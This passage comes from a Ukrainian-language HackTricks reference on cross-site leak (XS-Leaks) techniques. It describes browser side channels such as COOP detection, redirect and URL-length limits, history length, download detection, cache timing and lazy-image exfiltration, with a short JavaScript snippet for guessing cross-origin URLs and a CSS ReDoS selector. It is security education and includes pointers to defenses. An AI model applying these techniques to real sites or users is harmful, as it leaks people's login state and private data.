* **Більше інформації**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
* **Резюме:** GC та SA дозволяють перевірити тип відповіді (opaque-redirect) після завершення перенаправлення.
* **Приклад коду**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)

Надсилаючи запит за допомогою Fetch API з `redirect: "manual"` та іншими параметрами, можливо прочитати атрибут `response.type`, і якщо він дорівнює `opaqueredirect`, то відповідь була перенаправленням.

### COOP

* **Методи включення**: Вікна
* **Виявна різниця**: Заголовок
* **Більше інформації**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
* **Резюме:** Сторінки, захищені політикою відкривача крос-доменів (COOP), запобігають доступу з крос-доменної взаємодії.
* **Приклад коду**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)

Зловмисник здатний вивести наявність заголовка політики відкривача крос-доменів (COOP) у крос-доменної HTTP-відповіді. COOP використовується веб-додатками для запобігання зовнішнім сайтам отримувати довільні посилання на вікна. Видимість цього заголовка можна виявити, намагаючись отримати **посилання `contentWindow`**. У ситуаціях, коли COOP застосовується умовно, **властивість `opener`** стає показником: вона **невизначена**, коли COOP активний, і **визначена** у його відсутності.

### URL Max Length - Server Side

* **Методи включення**: Fetch API, HTML елементи
* **Виявна різниця**: Код статусу / Вміст
* **Більше інформації**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
* **Резюме:** Виявлення різниць у відповідях, оскільки довжина відповіді перенаправлення може бути занадто великою, що сервер відповідає з помилкою, і генерується сповіщення.
* **Приклад коду**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)

Якщо перенаправлення на стороні сервера використовує **вхідні дані користувача всередині перенаправлення** та **додаткові дані**. Можливо виявити цю поведінку, оскільки зазвичай **сервера** мають **обмеження на довжину запиту**. Якщо **дані користувача** мають **довжину - 1**, оскільки **перенаправлення** використовує **ці дані** та **додає** щось **додаткове**, це викличе **помилку, що виявляється через події помилок**.

Якщо ви якимось чином можете встановити куки для користувача, ви також можете виконати цю атаку, **встановивши достатню кількість куків** ([**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)), так що з **збільшенням розміру відповіді** **правильної відповіді** викликається **помилка**. У цьому випадку пам'ятайте, що якщо ви викликаєте цей запит з одного й того ж сайту, `<script>` автоматично надішле куки (тому ви можете перевірити на помилки).\
Приклад **cookie bomb + XS-Search** можна знайти в запланованому рішенні цього звіту: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)

`SameSite=None` або бути в тому ж контексті зазвичай потрібно для цього типу атаки.

### URL Max Length - Client Side

* **Методи включення**: Вікна
* **Виявна різниця**: Код статусу / Вміст
* **Більше інформації**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
* **Резюме:** Виявлення різниць у відповідях, оскільки довжина відповіді перенаправлення може бути занадто великою для запиту, що дозволяє помітити різницю.
* **Приклад коду**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)

Згідно з [документацією Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), максимальна довжина URL у Chrome становить 2 МБ.

> Загалом, _веб-платформа_ не має обмежень на довжину URL (хоча 2^31 є поширеним обмеженням). _Chrome_ обмежує URL до максимальної довжини **2 МБ** з практичних причин і щоб уникнути проблем з відмовою в обслуговуванні в міжпроцесному спілкуванні.

Отже, якщо **перенаправлений URL відповідає більшому в одному з випадків**, можливо зробити так, щоб він перенаправляв з **URL, більшим за 2 МБ**, щоб досягти **обмеження довжини**. Коли це відбувається, Chrome показує сторінку **`about:blank#blocked`**.

**Помітна різниця** полягає в тому, що якщо **перенаправлення** було **завершено**, `window.origin` викликає **помилку**, оскільки крос-домен не може отримати цю інформацію. Однак, якщо **обмеження** було **досягнуто** і завантажена сторінка була **`about:blank#blocked`**, **`origin`** вікна залишається таким, як у **батьківському**, що є **доступною інформацією.**

Вся додаткова інформація, необхідна для досягнення **2 МБ**, може бути додана через **хеш** в початковому URL, щоб вона була **використана в перенаправленні**.

<div data-gb-custom-block data-tag="content-ref" data-url='url-max-length-client-side.md'>

[url-max-length-client-side.md](url-max-length-client-side.md)

</div>

### Max Redirects

* **Методи включення**: Fetch API, Фрейми
* **Виявна різниця**: Код статусу
* **Більше інформації**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)
* **Резюме:** Використовуйте обмеження перенаправлень браузера, щоб визначити наявність перенаправлень URL.
* **Приклад коду**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)

Якщо **максимальна** кількість **перенаправлень**, які потрібно слідувати в браузері, становить **20**, зловмисник може спробувати завантажити свою сторінку з **19 перенаправленнями** і нарешті **надіслати жертву** на перевірену сторінку. Якщо **помилка** викликана, це означає, що сторінка намагалася **перенаправити жертву**.

### History Length

* **Методи включення**: Фрейми, Вікна
* **Виявна різниця**: Перенаправлення
* **Більше інформації**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
* **Резюме:** Код JavaScript маніпулює історією браузера і може бути доступний через властивість length.
* **Приклад коду**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)

**History API** дозволяє коду JavaScript маніпулювати історією браузера, яка **зберігає сторінки, відвідані користувачем**. Зловмисник може використовувати властивість length як метод включення: для виявлення навігації JavaScript та HTML.\
**Перевіряючи `history.length`**, змушуючи користувача **перейти** на сторінку, **повертаючи** її **назад** до того ж походження і **перевіряючи** нове значення **`history.length`**.

### History Length with same URL

* **Методи включення**: Фрейми, Вікна
* **Виявна різниця**: Якщо URL такий же, як вгаданий
* **Резюме:** Можливо вгадати, чи знаходиться місце розташування фрейму/вікна на конкретному URL, зловживаючи довжиною історії.
* **Приклад коду**: Нижче

Зловмисник може використовувати код JavaScript, щоб **маніпулювати місцем розташування фрейму/вікна на вгадане** і **негайно** **змінити його на `about:blank`**. Якщо довжина історії збільшилася, це означає, що URL був правильним, і у нього був час **збільшитися, оскільки URL не перезавантажується, якщо він той же**. Якщо не збільшилася, це означає, що він **намагався завантажити вгаданий URL**, але тому що ми **негайно після** завантажили **`about:blank`**, довжина історії ніколи не збільшилася при завантаженні вгаданого URL.
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Frame Counting

Підрахунок кількості фреймів у веб відкритих через iframe або window.open може допомогти визначити статус користувача на цій сторінці. Більше того, якщо на сторінці завжди однакова кількість фреймів, постійна перевірка кількості фреймів може допомогти виявити шаблон, який може витікати інформацію.

Прикладом цієї техніки є те, що в Chrome PDF може бути виявлений за допомогою підрахунку фреймів, оскільки всередині використовується embed. Існують Open URL Parameters, які дозволяють певний контроль над вмістом, таким як zoom, view, page, toolbar, де ця техніка може бути цікавою.

HTMLElements

Витік інформації через HTML елементи є проблемою в веб-безпеці, особливо коли динамічні медіа-файли генеруються на основі інформації користувача або коли додаються водяні знаки, що змінює розмір медіа. Це може бути використано зловмисниками для розрізнення між можливими станами, аналізуючи інформацію, що розкривається певними HTML елементами.

Information Exposed by HTML Elements

  • HTMLMediaElement: Цей елемент розкриває duration та buffered часи медіа, які можна отримати через його API. Дізнайтеся більше про HTMLMediaElement

  • HTMLVideoElement: Він розкриває videoHeight та videoWidth. У деяких браузерах доступні додаткові властивості, такі як webkitVideoDecodedByteCount, webkitAudioDecodedByteCount та webkitDecodedFrameCount, що пропонують більш детальну інформацію про вміст медіа. Дізнайтеся більше про HTMLVideoElement

  • getVideoPlaybackQuality(): Ця функція надає деталі про якість відтворення відео, включаючи totalVideoFrames, що може вказувати на кількість оброблених відеоданих. Дізнайтеся більше про getVideoPlaybackQuality()

  • HTMLImageElement: Цей елемент витікає height та width зображення. Однак, якщо зображення недійсне, ці властивості повернуть 0, а функція image.decode() буде відхилена, що вказує на невдачу завантаження зображення. Дізнайтеся більше про HTMLImageElement

CSS Property

Веб-додатки можуть змінювати стиль веб-сайту в залежності від статусу користувача. CSS файли з крос-доменом можуть бути вбудовані на сторінці зловмисника за допомогою HTML link element, і правила будуть застосовані до сторінки зловмисника. Якщо сторінка динамічно змінює ці правила, зловмисник може виявити ці різниці в залежності від стану користувача. Як техніка витоку, зловмисник може використовувати метод window.getComputedStyle, щоб читати CSS властивості конкретного HTML елемента. В результаті зловмисник може читати довільні CSS властивості, якщо відомий уражений елемент і назва властивості.

CSS History

Згідно з цим, це не працює в headless Chrome.

CSS селектор :visited використовується для стилізації URL по-різному, якщо вони були раніше відвідані користувачем. У минулому метод getComputedStyle() можна було використовувати для виявлення цих стильових відмінностей. Однак сучасні браузери впровадили заходи безпеки, щоб запобігти цьому методу від розкриття стану посилання. Ці заходи включають завжди повернення обчисленого стилю так, ніби посилання було відвідане, і обмеження стилів, які можуть бути застосовані з селектором :visited.

Незважаючи на ці обмеження, можливо непрямо розрізнити відвіданий стан посилання. Одна з технік полягає в обмані користувача, щоб взаємодіяти з областю, на яку впливає CSS, зокрема використовуючи властивість mix-blend-mode. Ця властивість дозволяє змішувати елементи з їх фоном, потенційно розкриваючи відвіданий стан на основі взаємодії користувача.

Крім того, виявлення може бути досягнуто без взаємодії користувача, експлуатуючи часи рендерингу посилань. Оскільки браузери можуть рендерити відвідані та невідвідані посилання по-різному, це може ввести вимірювальну різницю в часі рендерингу. Доказ концепції (PoC) згадувався в звіті про помилку Chromium, демонструючи цю техніку, використовуючи кілька посилань для посилення різниці в часі, тим самим роблячи відвіданий стан виявленим через аналіз часу.

Для отримання додаткових деталей про ці властивості та методи відвідайте їх сторінки документації:

ContentDocument X-Frame Leak

У Chrome, якщо сторінка з заголовком X-Frame-Options, встановленим на "deny" або "same-origin", вбудована як об'єкт, з'являється сторінка помилки. Chrome унікально повертає порожній об'єкт документа (замість null) для властивості contentDocument цього об'єкта, на відміну від iframe або інших браузерів. Зловмисники можуть експлуатувати це, виявляючи порожній документ, що потенційно розкриває інформацію про стан користувача, особливо якщо розробники непослідовно встановлюють заголовок X-Frame-Options, часто ігноруючи сторінки помилок. Обізнаність і послідовне застосування заголовків безпеки є критично важливими для запобігання таким витокам.

Download Detection

Заголовок Content-Disposition, зокрема Content-Disposition: attachment, інструктує браузер завантажувати вміст, а не відображати його в рядку. Цю поведінку можна експлуатувати для виявлення, чи має користувач доступ до сторінки, яка викликає завантаження файлу. У браузерах на основі Chromium існує кілька технік для виявлення цієї поведінки завантаження:

  1. Моніторинг панелі завантаження:

  • Коли файл завантажується в браузерах на основі Chromium, внизу вікна браузера з'являється панель завантаження.

  • Моніторячи зміни у висоті вікна, зловмисники можуть зробити висновок про появу панелі завантаження, що свідчить про те, що завантаження було ініційоване.

  1. Навігація завантаження з iframe:

  • Коли сторінка викликає завантаження файлу, використовуючи заголовок Content-Disposition: attachment, це не викликає подію навігації.

  • Завантажуючи вміст в iframe і моніторячи події навігації, можна перевірити, чи викликає вміст завантаження файлу (немає навігації) чи ні.

  1. Навігація завантаження без iframe:

  • Подібно до техніки iframe, цей метод передбачає використання window.open замість iframe.

  • Моніторинг подій навігації у нововідкритому вікні може виявити, чи було ініційоване завантаження файлу (немає навігації) або чи вміст відображається в рядку (відбувається навігація).

У сценаріях, де лише авторизовані користувачі можуть ініціювати такі завантаження, ці техніки можуть бути використані для непрямого виведення стану аутентифікації користувача на основі відповіді браузера на запит завантаження.

Partitioned HTTP Cache Bypass

Ось чому ця техніка цікава: Chrome тепер має розподіл кешу, і ключ кешу нововідкритої сторінки є: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), але якщо я відкрию сторінку ngrok і використаю fetch в ній, ключ кешу буде: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), ключ кешу різний, тому кеш не може бути спільним. Ви можете знайти більше деталей тут: Отримання безпеки та конфіденційності шляхом розподілу кешу (Коментар з тут)

Якщо сайт example.com включає ресурс з *.example.com/resource, то цей ресурс матиме той же ключ кешу, як якби ресурс був безпосередньо запитаний через навігацію верхнього рівня. Це тому, що ключ кешу складається з верхнього рівня eTLD+1 та фрейму eTLD+1.

Оскільки доступ до кешу швидший, ніж завантаження ресурсу, можна спробувати змінити місце розташування сторінки та скасувати його через 20 мс (наприклад) після. Якщо походження змінилося після зупинки, це означає, що ресурс був кешований. Або можна просто надіслати деякі запити до потенційно кешованої сторінки та виміряти час, який на це знадобиться.

Manual Redirect

Fetch with AbortController

Використовуйте fetch та setTimeout з AbortController, щоб виявити, чи ресурс кешований, і видалити конкретний ресурс з кешу браузера. Більше того, процес відбувається без кешування нового вмісту.

Script Pollution

Service Workers

У даному сценарії зловмисник ініціює реєстрацію сервісного працівника в одному з їх доменів, зокрема "attacker.com". Далі зловмисник відкриває нове вікно на цільовому веб-сайті з основного документа та інструктує сервісного працівника розпочати таймер. Коли нове вікно починає завантажуватися, зловмисник переходить за посиланням, отриманим на попередньому етапі, на сторінку, керовану сервісним працівником.

Після надходження запиту, ініційованого на попередньому етапі, сервісний працівник відповідає статус-кодом 204 (No Content), ефективно завершуючи процес навігації. У цей момент сервісний працівник захоплює вимірювання з таймера, ініційованого раніше на другому етапі. Це вимірювання впливає на тривалість JavaScript, що викликає затримки в процесі навігації.

У вимірюванні часу виконання можливо усунути мережеві фактори, щоб отримати більш точні вимірювання. Наприклад, завантажуючи ресурси, які використовуються сторінкою, перед її завантаженням.

Fetch Timing

Cross-Window Timing

Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, що базуються на найсучасніших інструментах спільноти. Отримайте доступ сьогодні:

З HTML або повторна ін'єкція

Тут ви можете знайти техніки для ексфільтрації інформації з крос-доменного HTML ін'єкції HTML вмісту. Ці техніки цікаві в випадках, коли з будь-якої причини ви можете ін'єктувати HTML, але не можете ін'єктувати JS код.

Dangling Markup

Dangling Markup - HTML scriptless injection

Image Lazy Loading

Якщо вам потрібно ексфільтрувати вміст і ви можете додати HTML перед секретом, вам слід перевірити поширені техніки висячого розмітки. Однак, якщо з якоїсь причини ви МУСТЕ зробити це символ за символом (можливо, зв'язок відбувається через кеш), ви можете використовувати цей трюк.

Зображення в HTML має атрибут "loading", значення якого може бути "lazy". У цьому випадку зображення буде завантажено, коли його переглядають, а не під час завантаження сторінки:

<img src=/something loading=lazy >

Тому, що ви можете зробити, це додати багато сміттєвих символів (наприклад, тисячі "W") для заповнення веб-сторінки перед секретом або додати щось на кшталт <br><canvas height="1850px"></canvas><br>. Тоді, якщо, наприклад, наша ін'єкція з'явиться перед прапором, зображення буде завантажено, але якщо з'явиться після прапора, прапор + сміття перешкодять його завантаженню (вам потрібно буде експериментувати з кількістю сміття, яке потрібно розмістити). Це те, що сталося в цьому звіті.

Інший варіант - використовувати scroll-to-text-fragment, якщо це дозволено:

Scroll-to-text-fragment

Однак, ви змушуєте бота отримати доступ до сторінки з чимось на кшталт

#:~:text=SECR

Так веб-сторінка буде виглядати приблизно так: https://victim.com/post.html#:~:text=SECR

Де post.html містить сміттєві символи атакуючого та зображення з повільним завантаженням, а потім додається секрет бота.

Цей текст змусить бота отримати доступ до будь-якого тексту на сторінці, що містить текст SECR. Оскільки цей текст є секретом і він знаходиться безпосередньо під зображенням, зображення завантажиться лише якщо вгаданий секрет правильний. Отже, у вас є ваш оракул для екзфільтрації секрету по одному символу.

Приклад коду для експлуатації цього: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Час завантаження зображення на основі

Якщо неможливо завантажити зовнішнє зображення, що могло б вказати атакуючому, що зображення було завантажено, іншим варіантом буде спробувати вгадати символ кілька разів і виміряти це. Якщо зображення завантажено, всі запити займатимуть більше часу, ніж якщо зображення не завантажено. Це було використано в рішенні цього опису підсумованому тут:

Event Loop Blocking + Lazy images

ReDoS

Regular expression Denial of Service - ReDoS

CSS ReDoS

Якщо використовується jQuery(location.hash), можна дізнатися через таймінг чи існує деякий HTML контент, це пов'язано з тим, що якщо селектор main[id='site-main'] не відповідає, не потрібно перевіряти решту селекторів:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

CSS Injection

CSS Injection

Захист

Є рекомендації щодо пом'якшення в https://xsinator.com/paper.pdf, а також в кожному розділі вікі https://xsleaks.dev/. Ознайомтеся з цим для отримання додаткової інформації про те, як захиститися від цих технік.

Посилання

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, підтримувані найсучаснішими інструментами спільноти. Отримайте доступ сьогодні:

PreviousXSSI (Cross-Site Script Inclusion)NextConnection Pool Examples

Last updated